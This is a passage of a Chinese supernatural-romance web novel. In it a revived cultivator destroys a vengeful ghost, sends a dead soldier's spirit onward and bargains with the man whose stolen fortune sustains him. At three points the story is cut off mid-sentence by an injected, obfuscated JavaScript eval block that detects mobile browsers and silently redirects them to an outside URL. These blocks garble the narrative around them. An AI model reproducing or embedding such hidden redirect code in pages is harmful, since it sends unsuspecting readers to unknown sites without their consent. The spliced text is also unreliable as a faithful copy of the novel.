我要弄死你,快说谢谢 段安洛用鞭子拴着女鬼的脖子,把她整个拎起来,往地上砸。 同时地面上长出无数用灵气形成的尖刺,每一个都有二十公分。女鬼挣脱不开,被砸在尖刺上,灵气直接穿透身体,痛入灵魂。 随着一声惨叫,女鬼身上的邪气散落,被鞭子吸收后传到段安洛的手中。 女鬼还没从这次攻击中缓过来,又被段安洛拎起来,再一次砸向地面。 女鬼惨叫着,身体里残存的灵气像硫酸一样腐蚀着她。 她用煞气攻击,却像打在棉花上,力道消失后,煞气不知道去了哪里,收都收不回来。 女鬼理智回归,这才意识到自己碰到硬茬子了,这个人比镇压她的那个道士,要厉害得多得多。 她想逃走,门口落下一道惊雷,女鬼又惨叫一声,身上被雷劈得冒黑烟。 她惊恐地退回来,脚刚落地,紫色的雷劈头盖脸地砸下来。 她想躲,鞭子又抽过来。 牢笼内发出阵阵惨叫声。 而做这一切的人,就坐在太师椅上,懒洋洋地看着她无处可逃,一只手还杵着下巴,目光温和得就像看戏。 魔鬼! 这人绝对是个魔鬼! 江源已经不敢看了,太惨了,第一次看到这么惨的厉鬼,皮开肉绽,浑身冒黑烟,一点人模样都没有。 再看面色温和的段安洛,江源猛地摇了摇头,以后绝对不能惹师祖生气! 等女鬼身上的气息散得差不多了,段安洛还是那句话:“认罪吗?” 女鬼眼也不红了,也不嚷着要杀人,身上的邪气已经快维持不住人形,“我认罪,别打了!” 段安洛满意了,跟江源说:“揍一顿就认罪了,以后但凡有嘴硬的,你就揍它。” 江源拿出小本本,记下来。 学习态度很专业,有没有那个能力不重要。 女鬼趴在地上喘息,根本不敢看段安洛的眼睛。她是什么时候开始有灵智的呢?她记不清了。 可能是那个倒霉的女人许愿的时候,也可能更早。 反正吸收的都是人类的苦难,都是对命运不公的抱怨,都是祈求它的保佑。 她只记得仇和怨,只想杀人。 她后悔,她杀的人太少了,才会这么弱。要是能多杀一些,吸收他们濒死前的能量,她今天就不会落得这个下场。 段安洛缓缓站起来,打断她的想法,“你,说谢谢了吗?” 女鬼愣住了,什么? 段安洛好脾气地跟她说:“你要谢谢我感化了你,超度了你,你怎么这么没礼貌?” 我尼玛啊! 女鬼心里恨死他了,心里全是:我谢你麻痹! 你个贱货狼心狗肺腹黑狡诈小心出门被车撞烂簸箕搓都搓不起来! 她把抢女鬼衣服的时候,那女鬼骂她的脏话全都骂给段安洛:你踏马打死我我还要谢谢你个屌艹!诅咒你下辈子投胎投不到华夏! 段安洛眯了眯眼睛,脸上不动声色,语气更加温和,“你说了我就放你走,我们要做有礼貌的鬼。” 女鬼不敢相信,“你放我走?你这么凶残你……真的吗?” 段安洛走了两步,蹲在她身边,和她的眼睛对视,“在下修佛,我佛慈悲,只渡不杀。你身上的邪气已经散了,切记,以后不要再害人了。” 他的眼神太真挚了,身上又透着仙风道骨的气息,看起来像个得道高人。 求生欲强烈的女鬼激动地跪在段安洛脚边,“谢谢大师!谢谢大师超度我!我以后再也不杀人了!” 再也不、少、杀人了! 强大了第一个就杀了你! 段安洛微笑着站起来,整个人看起来温润有礼,连抬腿的动作都是那么优雅,然后一脚把女鬼踢向噬魂幡,“不好意思,这一刻的我又信道了,我只杀不渡。” 女鬼要疯了,“草你妈!” 段安洛看着她在噬魂幡下挣扎,抬手吸收着她绝望的负面情绪,“怪不得你要折磨苦命人,绝望的情绪确实很香。” 女鬼惊恐地发现,“你不是人……” 话还没说完,她就被噬魂幡吸了进去,邪气全都消失,只剩下一个黄铜的疙瘩,掉下来砸出一声闷响。 段安洛慢条斯理地收了伞,纤长的手指使劲拽了一下绑绳,用力地扎紧,“你才不是人,你九族都不是人,我让你在心里偷骂我!” 他嫌恶地看了眼小佛像,“源儿,你看着处理吧。” 这东西杀人太多,他不想碰,嫌脏。 段安洛打了个哈欠,吸收了这么多的负面能量,他的灵魂不疼了,全身上下又暖又舒服。他困了,想睡觉了。 他一边走向卧室一边想,他好像忘了什么事情,什么来着? 他感觉不是什么要人命的重要事情,索性就不想了,睡觉去。 一个身高1米8多,身材健硕,一脸正气的男鬼在门口不断地徘徊,踩出一片鬼脚印。 江源把雕塑洗干净,又用手纸把上面的水擦干,打算留着以后做展览。 察觉到外面的气息后,江源下意识地抄起桃木剑,心说哪个不长眼的鬼,竟然来这里撒野?没看见师祖大发神威,刚弄死一个吗? 出门一看,江源愣住了,这不是韩臻他大姐夫吗? 他经常跟韩臻一起上下学,见过大姐夫几次。两口子比韩臻大八岁,大姐夫就把韩臻当小孩,有时候去接韩臻放学,还给他买糖葫芦。 有一次遇到江源,给江源也买了一个。 江源记得很清楚,因为糖葫芦可酸可酸了。 江源收了剑,客气地问:“大姐夫,要不要进来坐坐?” 李宗之早就听韩臻说过,他那个小伙伴是个道士,有道士证的那种。之前李宗之不信这些,现在看来韩臻没有吹牛,这小孩真有那种能力。 矮得跟豆沙包一样,还挺厉害。 他一脸真挚地夸江源:“之前就听韩臻夸你厉害,现在我见识到了。” 江源不好意思地挠了挠头,傻笑,他还差得远呢,师祖说他小废物来着。 “大姐夫,你是来找我师祖的吧?他现在累了,已经去睡了,他身体不好,被叫醒会发脾气的。” 李宗之想到在老远就能听到的鬼叫声,下意识地说:“不用叫,我明天再来。” 江源看他虚弱的样子,恐怕回去就没了,明天来不了了。 他客气地把李宗之请进来,赶紧点了一支固魂香,让他多吸点,不要客气。 看他魂魄凝实了一点,江源想着让他这么干等着,也不是办法,到天亮还早呢,于是提议:“你要不要去看看韩臻?他在后面睡着了。” 李宗之犹豫了一下,点了点头:“也行,我去看看他。” 一分钟后,客房响起一声惨叫:“鬼啊!!!” “嘘,别叫,是我!” “就是知道是你才害怕呀!” “你小声点儿!在别人家借宿还这么吵,你怎么这么没礼貌?” 韩臻快哭了:“你怎么做鬼都要教育我?” 大姐夫嫌弃地捏了捏他的肚皮:“你怎么胖那么多?出去跑个五公里!” “不是啊姐夫,你活着的时候就练我,你死了还要练我。”韩臻用被子裹紧自己,他怎么这么惨啊! 李宗之催促道:“赶紧的,别废话,我带你一起跑。” 江源缩了缩脖子,幸亏他没有姐夫。 第二天,段安洛起来吃早饭的时候,就看到墙角蹲着两个人形蘑菇。 一个是被折腾一宿没睡的韩臻。 他的龙傲天梦破碎了,他还是不适应能见鬼的日子,显示被厉鬼的惨叫声吓得精神恍惚,又被他大姐夫吓得神魂不稳,还要被大姐夫拉起来跑步,他整个人都快碎了。 另一个就是怕光的李宗之。 晚上的他吸了固魂香之后,精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694916|173409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神了一点,白天阳光一照,他整个人都蔫儿了,躲在没有光照的供桌底下,吸着江源点的香,他甚至不敢站起来,怕一站起来自己就散了。 段安洛这才想起来昨天忘记了什么,他歉意地说:“不好意思,昨天太困了,让你等了一晚上。” 李宗之很有时间观念:“没有一晚上,只有6个小时零17分钟而已,小江给我点了香,我不累。” 段安洛点了点头,心说不愧曾经当过兵的,等待的时间精确到分钟。 他把挂在墙上的伞拿下来,撑开后对他说:“你先进去躲一会儿,我吃完饭就处理你的事。” 韩臻认识他手里的东西,这不是噬魂幡吗?他亲眼看着做的。 韩臻瞬间冲过去,一把抓住段安洛的手,激动地说:“太爷爷,我姐夫罪不至死!他是为了我姐才没去投胎的,您别收他呀!” 段安洛被逗笑了,“我没有收他,只是让他进去养养魂,放心吧,昨天晚上它吃饱了,吐出来的能量能养魂。” 韩臻这才松口气,他还以为段安洛要把他姐夫炼了。 把李宗之收进伞里后,段安洛示意韩臻:“把你姐姐接过来。” “我姐见到我姐夫怎么办?” “让你去接你就接,带她到隔壁去。这是他们两个人的因果,谁也无权替他们做决定。” “我知道了。”韩臻从桌子上抓了一个包子,骑上小电车就去了。 此时,玄学会总部的顶层办公室,在那张宽大的红木办公桌旁,一张同样气派的真皮沙发上,一个年轻人正沉睡着。 他的身高接近一米九,身材是常年修炼与自律雕琢出的完美杰作。肩宽窄腰,流畅的肌肉线条在沉睡放松的状态下依然清晰可见。 那双比例优越的长腿在沙发扶手上随意地搭着,长得有些无处安放。 更令人惊异的是,一条通体莹白、足有水桶粗细的巨型白蟒,正温顺地盘踞成巨大的圈,把沙发剩余的部分全占满了,硕大的蛇头就靠在他的腿边。 一人一宠,竟在这肃穆的办公室里形成一种奇异而和谐的安眠画面。 推门而入的人显然已经习惯了他在这里睡觉,将声音压得极低,“会长,神庙的封印是人为破坏的。按古籍记载和之前长期的灵气监测,那邪物身上的邪气已经油尽灯枯,即便侥幸脱困,也不可能在短短几天内恢复到A级厉鬼的能力。我推断是有人在背后搞鬼,我已经派人去查了。还有这个段安洛,看不出他是哪个门派的,总之,很强。” 会长听完汇报,指尖在桌面上轻轻一点:“知道了,还有一件事,有人举报城东码头今晚有非法玄物交易,你亲自去查一下,小心点。” “好。”那人领命,出去的时候路过沙发,无意间蹭到了睡觉的人的衣角。 门扉无声合拢,沙发上,司苍缓缓睁开眼,没有丝毫刚睡醒的迷茫,“派人跟着他,别让他死了。” 会长带着一丝探究和不易察觉的关切:“你的气运……当真一丝不剩了?” 司苍坐了起来,白蟒主动爬到他背后,给他当靠背。 “不止没了,还在反噬,越来越倒霉。”一个月前,他在家睡觉,梦中被人踹了一脚,自那之后,气运全无,功德也没了,各种倒霉的事接踵而至,现在甚至于别人碰到他就倒霉。 会长也跟着着急,“你要是出事,天下苍生怎么办?” 司苍嫌恶的皱了皱眉,“活着是幸,死了是命,关我什么事?” 他端起桌上那只温润的青瓷茶杯,指尖刚触碰到温热的杯壁,“咔嚓”一声,杯子发出细微却无比清晰的脆响。 茶杯毫无征兆地断成两半,杯身掉在地上,司苍的手里只剩下一个C形的杯子腿。 会长整个人都不好了,造了孽了!这是他新买的茶具,花了他一个季度的奖金!缺一个就不完美了!不、完、美、了! “你赶紧去找个大师看看!看不好就别回来!” 11. 一把抱住司苍的腰 两个小时后,段安洛将李宗之释放出来,发现他的魂魄已经凝实了许多。李宗之感激地说:“谢谢你,我以为自己就要消失了。” 段安洛又为他点燃一炷固魂香,随后疑惑地问:“这段时间没有鬼差来找你吗?” 李宗之一脸茫然,“鬼差?什么鬼差?” 段安洛蹙眉,难道下面出事了? 他压下心头的疑惑,“走之前你想见她吗?” 李宗之苦笑着摇头,“我不敢,我怕她会难过,更怕见了她之后就舍不得走了。我不是个好丈夫,我对不起她。” “但你是个好人,你救了那几个孩子的性命,间接拯救了那些家庭。为了救人而牺牲自己,你后悔吗?” 李宗之毫不犹豫地摇头,“不后悔!我是退伍军人,救人就是本能反应。只要我还有一口气在,就绝不会眼睁睁看着那些孩子遇险。 我最愧疚的就是我妻子,参军时让她等了那么久,我们聚少离多;好不容易在一起后,我就想对她好一点,再好一点。我常常想,自己到底是走了什么好运,才能娶到这么好的妻子。” 说到这里,李宗之的眼眶已经湿润。他胡乱地抹了把脸,却发现泪水越擦越多。他试图挤出一个笑容,却比哭还难看,“抱歉,让你们见笑了。我妻子真的很优秀,她聪明能干,设计的服装系列个个畅销,赚得比我还多......” 李宗之足足夸了妻子两分钟,感觉现在说这些不太合适,他不好意思的停下这个话题,“我死了之后看见她那么伤心,我就不敢走了,我怕她想不开,怕她出事,我想等她情绪好一些再走。 后来我发现她身体里面有黑色的东西,我能感觉到那不是好东西,我就拼命的压着,不让那东西变大。” “你又一次保护了她。” “应该的,她是我老婆,我不护着她谁护着她?”李宗之难过的是以后他就不能护着她了,他只恨自己太废物了,肯定是从部队出来后疏于锻炼,怪他自己。 段安洛没再问,“你必须要走了,要不然会魂飞魄散,你还有什么愿望?” “我希望她幸福,下辈子我还能遇到她吗?” 段安洛不能理解,爱情到底有什么魔力,怎么就这么让人魂牵梦绕?这辈子不够,还要盼下辈子。 “你是六世好人,今生还有功德,下面可能会安排你早去投胎。” 李宗之脸色垮下来:“就是遇不到了是吧?” “你还有什么想说的吗?希望她以后怎么活?” 李宗之笑了:“找个更爱她的,可以保护她,给她幸福的人。我父母那边她不用当成负担,我和我几个战友有约定,不管谁先死,剩下的人都会给他父母养老送终。” 段安洛点了香:“我会转告她的,我送你下去。” 送走李宗之后,段安洛去隔壁房间,目光柔和的看着把嘴咬破都没有哭出声的韩缨,“他的话你听见了吗?” 韩缨用力的点头,“我听见了,他让我好好活着,我会好好活着,我会过得比谁都幸福。他不敢见我,我就不见他,让他走的安心。” 段安洛看她虽然哭得伤心,但是已经没有寻死的念头,就知道李宗之留给她的话,她已经听进去了。 从她面相上看,以后她都不会再找了,也许她再也找不到那么爱她的男人,所以她宁愿不找。 在段安洛看来也没什么,男人不必一定要娶个女人,完成传宗接代的任务。 女人也不必一定要嫁个男人,只有相夫教子才不算离经叛道。 自己能赚钱,能养活自己,还能照顾家人,为什么一定要再找一个呢?她觉得单着幸福,就让她单着呗。 他以前就认识一个富商大姐,一辈子没成亲,养了十几个小姐夫,每天跟谁在一起都是摇骰子。 世人都骂她离经叛道,骂的可脏。她却说只有她自己知道,自己过得多舒坦。 韩臻也没想到,他姐不打算结婚了,把所有心思都放在他身上,让他好好学习,临走的时候红着眼睛甩给他一句:“下次考试再吊车尾我就抽死你!” 韩臻浑身的皮都绷紧了,不是,这么狠的吗?我可是你亲弟弟。 韩臻心里苦,韩臻没办法说,本着有福同享的原则,他下午打了个车,直奔书店。 什么《三年高考,五年模拟》、《高考冲刺宝典》、《高中必刷题》等等复习资料,他要统统买回家。 他认真地分配着:“我一本,江源一本;我再一本,江源两本;嗯……狗一本,江源一本;我同桌一本,江源再来一本!” 分配的公平公正。 对此一无所知的江源骑着他新得到的小电驴,去购物。 家里的很多必需品都没有,现在天气越来越热,空调买不起,总得买个电风扇吧。 房顶也要补一补,夏天雨水多,一边睡觉一边淋雨,跟水帘洞一样,他受得了,师祖也受不了。 江源出去之后,段安洛琢磨了一下,提笔写了一堆鬼画符。五百年了,人死了,鬼应该还在吧? 那些鬼差总不能都投胎了吧? 他想问问,下面是不是出事了,要不然李宗之的灵魂飘了这么久,怎么没人来抓? 李宗之是六世好人,又当过兵,意志坚定,还有国运罩着,要是普通人,早就迷失了自我,变成孤魂野鬼。一旦沾染了煞气,就会害人。 信烧了之后,过了好长时间,香灰扭曲的写出一个字:忙。 段安洛同情的给回了句:辛苦了。 哪里都不缺牛马,做鬼也不容易。 紧接着对方回了一句:你谁啊? 这句比较急,看起来有些激动。 段安洛:恁爹。 对方:!!! 江源很久没这么富裕过了,找了工人来修屋顶和门窗,回来的时候还给段安洛买了水果和瓜子。 段安洛给他所有的钱,全花了,下个月还花呗的钱还得赚。 小孩一点都不急,反而精神抖擞,有师祖在就有希望,日子已经好起来了。 段安洛嗑瓜子的时候,没由来的打了个喷嚏,江源拿着洗好的水果屁颠颠的跑过去,“师祖,您没事吧?” 段安洛摸了摸鼻子,总感觉痒痒的,有点冷,“源儿,给我拿个外套。” 江源看了看外面,这么热的天,师祖竟然冷,他明明看到师祖的脸色比前两天好了一点,怎么还是这么弱? 江源给他搬了把椅子,放在门口,“晒背能增加阳气,师祖多晒晒就好了。” 段安洛就坐在椅子上追剧,一个人站在门外,遮住他一大片阳光。 段安洛抬头,乖乖,好黑! 再一看,人挺白的,是身上的气息好黑! 司苍垂眸,看着蜷在破旧藤椅里的段安洛,高挑的身材遮住一大片阳光,阴影把段安洛整个人都包裹在里面。 “请问,这里有大师吗?”嗓音低沉,和他的气质一样,透着几分冷淡。 段安洛仰起脸眨了眨眼,纤长的睫毛在眼下扫出小片阴翳,一股熟悉到骨子里的气息裹挟着热浪直冲心口——是命运纠缠的灼痛感。 他不动声色地打量对方,眼前人明明是鸿运罩顶的紫金命格,此刻却被浓墨般的黑气腐蚀,更诡异的是,这侵蚀的黑气……与自己身上的黑气如出一辙。 段安洛慢悠悠站起身,头顶堪堪够到司苍耳垂的高度,这人,不会是那个倒霉蛋吧? 司苍也在审视他,忍不住眉头微蹙。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694917|173409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 白蛇正焦躁地撞击他的灵窍,这条白蛇已经快化蛟,性子向来倨傲,不知道为什么一直闹着来找这个人。 现在又疯了一样想要冲破主仆禁锢,扑向眼前的人。 这么瘦弱,给扑死怎么办? 司苍在识海中死死摁住白蛇的头,让它不要闹。 段安洛抬手,五指拂过司苍心口,翻涌的黑气化作细流没入他的掌心,露出底下千疮百孔的紫金气运,还有翻涌的功德金芒。这是由无数邪祟的鲜血浇灌出的勋章,像被黑雾缠绕的夕阳,光芒中浮现出病态的光斑。 司苍只觉得这些日子压在灵魂上的负荷被抽走,暖意顺着四肢百骸流淌,仿佛卸下千斤枷锁。 段安洛已经确定了,这的确是另一个倒霉蛋。 他当初醒来的时候,是在一个狭小的棺材里,潮湿,黑暗,空气中充斥着腐烂腥臭的土腥味。 这是大量骨肉鲜血糜烂后融进土里才有的味道,是典型的养尸地。 陌生的记忆在脑海中苏醒,虽然不多,也足以让段安洛震惊得愣了神,这竟然是五百年后,他借尸还魂? 他激动的想起来,却发现根本动不了,他浑身上下都被捆住,身边还躺着一个东西,视线太黑了,看不清,但是能感受自己身上的煞气往那边流动。 是江源及时赶到,把他从棺材里救出来。 他身边躺着一个草人,穿着同款猩红的喜服,胸口用棺材钉子钉着一张生辰八字。 当时把江源吓坏了,还问他这是不是他祖师奶? 段安洛想到醒来前的那个梦,以为自己被配了冥婚,他太生气了,一脚把人偶从棺材里踹了出去,召来天雷把那个阵法给劈了。 现在想来,那个草人分明是这个倒霉蛋的替身。 原主是阴时阴历出生的,少有的九阴之体。又是活着的时候被封进棺材,死前肯定要经历巨大的痛苦。再加上在极阴的时辰被活埋,死前的不甘会让他死后必定化成厉鬼。 但是他被封在棺材里,用朱砂镇住,变成厉鬼也出不去,他只能把怨恨都发泄在这个和自己命运相连的人身上。 越出不去,怨气越重,越会腐蚀身边的人,命格再好,也会被腐蚀殆尽,不灭不休。 好毒的计谋,既要原身永世不得超生,又要这个倒霉蛋从云端坠入泥潭。 要不是他重生过来,原身就会按照书里写的,三年后被人无意中放出来,然后一路夺舍一路杀,害死的人够江源在作业本上写十页。 现在想想,肯定是他吸走了对方的东西,造成了空缺,他身上的黑气才会往对方身上流,只有强大的气运和庞大的功德才会让天道降下福祉,大到赐他复活。 段安洛想通了,心也凉了。 他还不起! 如今这倒霉苦主找上门,是察觉到气运被他吸走了,还被他腐蚀成这样,来报仇? 段安洛眼波流转,忽然扶墙剧烈咳嗽起来,单薄的肩膀颤抖的像秋风里的落叶,仿佛下一秒就能死过去,“……咳咳,大师?什么大师?先生是不是找错地方了?” 司苍居高临下睨着他,喉间滚出一声听不出情绪的轻笑:“别装了,你的气息在我梦里出现过,你踹断了我的腿,害我腿疼了一个月。” 段安洛一边往后退一边想,完了,他都记得。 “还有,”司苍两根手指揪住他的衣领子,把他揪回来,眸色冷的像看个死人,“为什么我的气运和功德,在你身上?” 段安洛表面弱唧唧,脑子里却飞快的转出好几个应对版本,看到对方眼里的杀意越来越明显,突然灵机一动,一把抱住司苍的腰,把脸埋在对方心口,委屈的说:“死鬼,我终于找到你了!” 一脸杀气的司苍,僵住了。 12. 你别走,交杯酒还没喝呢 司苍一把将段安洛推开了。 段安洛一屁股坐在椅子上,不知道是因为司苍太倒霉给克的,还是椅子本来就旧,就听“咔嚓”一声,他感觉屁股下面一空,整个人不受控制地往后仰去。 段安洛惊呼一声,还没来得及反应,就被一只大手抓住衣领,拎了起来。 司苍一秒松开手,看着那把散架的椅子,薄唇绷成一条直线,再看段安洛那仿佛随时要往他怀里扑的架势,主动往后退了半步。 段安洛眯了眯眼睛:“你为什么躲我?怕我死了砸你脚面吗?” 司苍皱眉,很久没见过这么弱还这么横的人了。 段安洛笑了,这种大家族培养出来的继承人,逗起来最有意思了。对方手上戴着一枚黑色的龙尾戒,只有隐世家族才喜欢搞这种虚头巴脑的身份象征。 这人周身散发的罡气锋锐如刀,不属于道、佛两家,他走的是以杀止杀的路子,从功法的属性上能看出性格——强悍果决,绝不拖泥带水,杀心极重。 他应该讨厌麻烦,解决麻烦的手段就是直接弄死,因为这种方法最简单,效率最高。 反观自己这具身体,肉身扛不住对方一拳,灵魂也不稳,灵力还没恢复到以前的十分之一,对方要是想杀他,估计连拳头都不用,拧断脖子也就是一秒的事。 跑不了,打不过,欠的债还不起。 段安洛彻底摆烂了,那就不还了! 姻缘线都绑了,反正也解不开,那就接受命运。 他给源儿找个祖师奶,还是个能打、有身份背景的祖师奶,反正他爷俩现在是老弱病残傻,吃了上顿没下顿,那就哪里死了哪里埋,无所畏惧。 段安洛上前一步,气势丝毫不输:“那场冥婚,害我被装进棺材里活埋,你知道在棺材里等死是什么滋味吗?” 司苍指尖一颤,早已遗忘的东西从记忆深处涌上来。 段安洛步步紧逼:“姻缘线绑得那么紧,我逃都逃不掉,为了解开契约,我找了你好久,从不认识的大山一路找到帝都,脚都快走断了,累得都快死了,你在哪儿?” 司苍:“……” 听到动静后跑出来的江源愣住了,师祖不是因为没有身份证,不能坐车吗? 而且师祖也没有走路,是他用小车拉着师祖走,最后遇到了好心人,让他们坐顺风车,把他们带回来的。 司苍皱了皱眉,“你说了这么多,还是没说我的气运和功德为什么在你身上?” 段安洛没给他好脸色,“还不明显吗?你被人算计了。” 他指尖点点自己的心口,“我也被人算计了,但是契约是真的,你要杀夫吗?” 司苍被气笑了,他也是第一次遇到这样的人,打不得,说不过,胡搅蛮缠,偏偏身体差到一碰就死。 段安洛把碎掉的椅子都踢到一旁,把门口空出来,转身进屋,“你想了解事情真相,就进来说,别杵在门口装棍子,我不用你顶门。” 司苍攥了攥拳,又松开了,冷着脸跟着进去。 段安洛又搬了两把椅子,让对方坐,他仰着脖子也挺累的,“你的生辰八字,有谁知道?” 一般来说,干这行的都不会暴露自己的生辰八字,更不会把自己的血液头发给别人。 “我师父们。”司苍顺势坐下来,往外侧了侧身,没碰歪腿的桌子。 段安洛问:“他们会说出去吗?” 司苍脸色如常:“早就死了,我亲手杀的,他们现在没机会说话。” 段安洛哽了一下,这一行杀师如杀父,是大忌。这人身上却没有那条血色的因果线,他师父们对他做了什么,连天道都觉得该杀? 段安洛想推算一下他的过去,刚一接触,灵识就像触及到一个黑色的漩涡,极度的危险和窒息让他赶紧撤了回来。 他给这么多人算过命,第一次看到这样的人。 他不能算,只能问:“你父母呢?他们会不会告诉别人?” 司苍眸色一冷,没有回答。 段安洛心里有种不好的预感,源儿啊,你祖师奶的家里不太安全,以后遇到好的,师祖再给你换一个。 他叹了口气,转移了话题,“源儿,泡壶茶吧。” 江源一步三回头地偷瞄司苍那令人艳羡的身高,从柜子里掏出来他新进的货,“茶太贵了,我买的饮料。” 江源把饮料放在桌子上,小心翼翼地偷看司苍,真实身高只有一米五三点五的人表示好羡慕。 司苍盯着桌上那排插着吸管的娃哈哈AD钙奶,眼底闪过疑惑。 段安洛没错过这一点,心想他不会没见过吧? 好惨,活得还不如他这个古人。 他把奶推到对方身前,“你怎么称呼?” “司苍。” “我叫段安洛,咱们两口子就算正式认识了。” 司苍无语地审视着段安洛这双好看到过分的眸子,没有在里面看到一丝害怕,只有手里有底牌的人,才会在生死关头不露惧意。他想到段安洛的资料,一个很强?的病秧子? 段安洛见把人稳住了,认真地讲述了一遍当时的情景,当然隐瞒了自己是重生的事情,最后总结:他们都被算计了。 见司苍脸色越来越冷,段安洛赶紧说:“你的气运如今与我性命相连,要是强行取回去,我可能会死,你也会遭到反噬。咱俩灵魂上的契约已经拴死,暂时解不开。” 司苍冷漠地说:“我不在乎。” 他可以死,但不能被人控制。 段安洛不满地问:“你怎么这么狠心?我都快死了我就想知道当时娶的是谁,长什么样子。你可倒好,你一来就想杀我,你不想活,我还不想死呢!” 司苍冷静地纠正他的错误:“你记错了,梦里盖着盖头的人是你。” 段安洛哑口无言,你特奶的记得还挺清楚! 司苍垂眸,冷静地分析段安洛的话,如果段安洛说的是实话,这事就不能完全怪段安洛。 这可能是针对他的一场阴谋,段安洛是被他连累了。 二十年前,一个老道批命,说他背负了华夏气运,自此以后他的命不再是自己的,是天下苍生的。为了验证对错,他们折磨了他三年。又为了所谓的天下苍生,他们以变强为由,又折磨了他十四年。 他们认为他活着,可保天下太平,灵魂可以不要,只留命格,必要时可以换个躯壳。 相对的,就会有人认为把他命格破了,想杀他就容易一些,等他一死,再去祸乱人间就容易多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694918|173409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 段安洛见他不说话,身上的杀气一闪一闪的,以为他在犹豫要不要弄死自己拿走他的气运,于是主动开口:“你想现在就想把你的气运取回去,我也拦不住你。但是你弄死我之前,咱俩能不能先喝一杯,交杯酒还没喝呢。” 司苍无情地拒绝他,“我对你没兴趣。” 段安洛一脸受伤的表情,“在梦里天地都拜了,你翻脸就不认人啊!” 司苍想起那个荒诞的梦,不自然地冷下脸,“我会想办法解开契约,抱歉,连累你了。” 段安洛意外,“你不取回去了?” “送你了。”他厌恶这个命格,但属于他的东西,脏了,臭了,烂了,哪怕是他扔了,别人也不能碰一下。 更何况是被人偷。 现在知道不是被段安洛偷的,他心里那股恶心感就没了,他需要就直接送他。 段安洛看他一本正经,跟个没人气的冷兵器一样,突然想逗他,“送我的,聘礼还是嫁妆?” 段安洛的眼睛眯起来的时候有点像狐狸眼,比桃花眼更媚,可以说是看狗都深情。 司苍猛地站起身,想走,段安洛也跟着站了起来,认真地说:“咱俩合作吧,一起找害我们的人。你身上的黑气我能拔除,我借你的气运和功德活下去。今天补上交杯酒,以后咱们就是同性夫妻,有福同享,有难同当,额……” 司苍掐住了他的脖子。 段安洛老实认错,惨兮兮的,“对不起。” 司苍放开他,转身就走了,再待下去他就忍不住了。 他已经在段安洛身上留下印记,就像定位一样,可以随时找到他。 段安洛腿脚利落地追到门口,趴在门框上,虚弱地嘱咐:“我等着你查出真相,回来找我!你要注意安全,别死了!有空回来看我!我在家等你!” 如果可以的话,段安洛很想再说一句狗血短剧里的经典台词:养大我们的孩子~ 他没敢说,他怕司苍再回来掐他脖子。 司苍没有一丝停留,迈开长腿,快步走到街头,上了一辆黑色的越野车。 司机是个年轻的白毛,扎着小辫子,见他冷着脸,担心地问了一句:“怎么样?” 司苍扶额,不想说话。 这病秧子一掐脖子就翻白眼,一松手就敢蹦跶,还敢调戏他。 白毛震惊过后,特别想下去看看,多么强大的大师啊,竟然能让司苍露出这种表情。 段安洛抱着手,他发现了,曾经用护法灵的一丝灵气就保住穆清卓命的人,就是司苍。 他问过穆清卓,穆清卓根本就没有印象。应该是司苍恰好路过,随手就救了一下,都没想过要回报。 啧啧,太不会过日子了,这样还会显得他这种干什么都要钱的泥腿子,很不高尚。 说到穆清卓,段安洛又掐着手指头算了算,好几天了,也不知道大儿子家里的事情处理的怎么样了。 此时他的好大儿,心情可不好。 穆清卓站在穆家庭院中央,脚下是这两天翻出来的新土。 浓烈的腐臭味从土里散发出来,混着花朵残败后的甜香,混杂在一起形成一股奇怪的味道,令人作呕。 段安洛说的全都应验了。 13. 急什么?鬼又没钻你被窝 这两天穆清卓让人把家里的花全挖出来,发现很多花的根部都埋了东西。 死鸡的腐肉粘着羽毛,恶心的蛆虫在上面爬来爬去,还没腐烂的鱼骨穿过腐烂的眼珠子,狰狞地瞪着来往的人。 更多是无法辨认的动物残骸,扭曲的爪子、粘着皮毛的肉块,深埋在每一株名贵花木的根系之下。 是农肥?还是邪术? 穆清卓找了好几个园丁问话,他们说养花的确实喜欢在花根处埋荤肥,大都是埋点鱼肠、小鱼小虾,因为便宜,还不烧苗。 但是这东西有味道,还容易招小虫子。 可是在挖出来之前,家里什么味道都没有,更没有虫子。 花圃一片欣欣向荣,花团锦簇,谁来了都会夸一句:“老爷子这花养得真好!” 穆清卓走到一个浑身发抖的老园丁面前,“你有什么想说的吗?” 老人眼神闪躲,谁都能看得出他的慌乱,“少、少爷,真是普通农肥,荤物沤肥不烧苗,花开得才旺。” “普通农肥需要裹红布?”穆清卓踢开脚边一团腥臭的东西,半截褪色的红布正缠在不知名的骨头上。 还有那些花瓶,昨晚他从里面倒出来三枚浸血的铜钱。 有人用肮脏的风水邪术,把穆家变成吃人的坟场,想要他爷爷的命! 而做这一切的人,很可能就是除了爷爷以外,他的至亲! 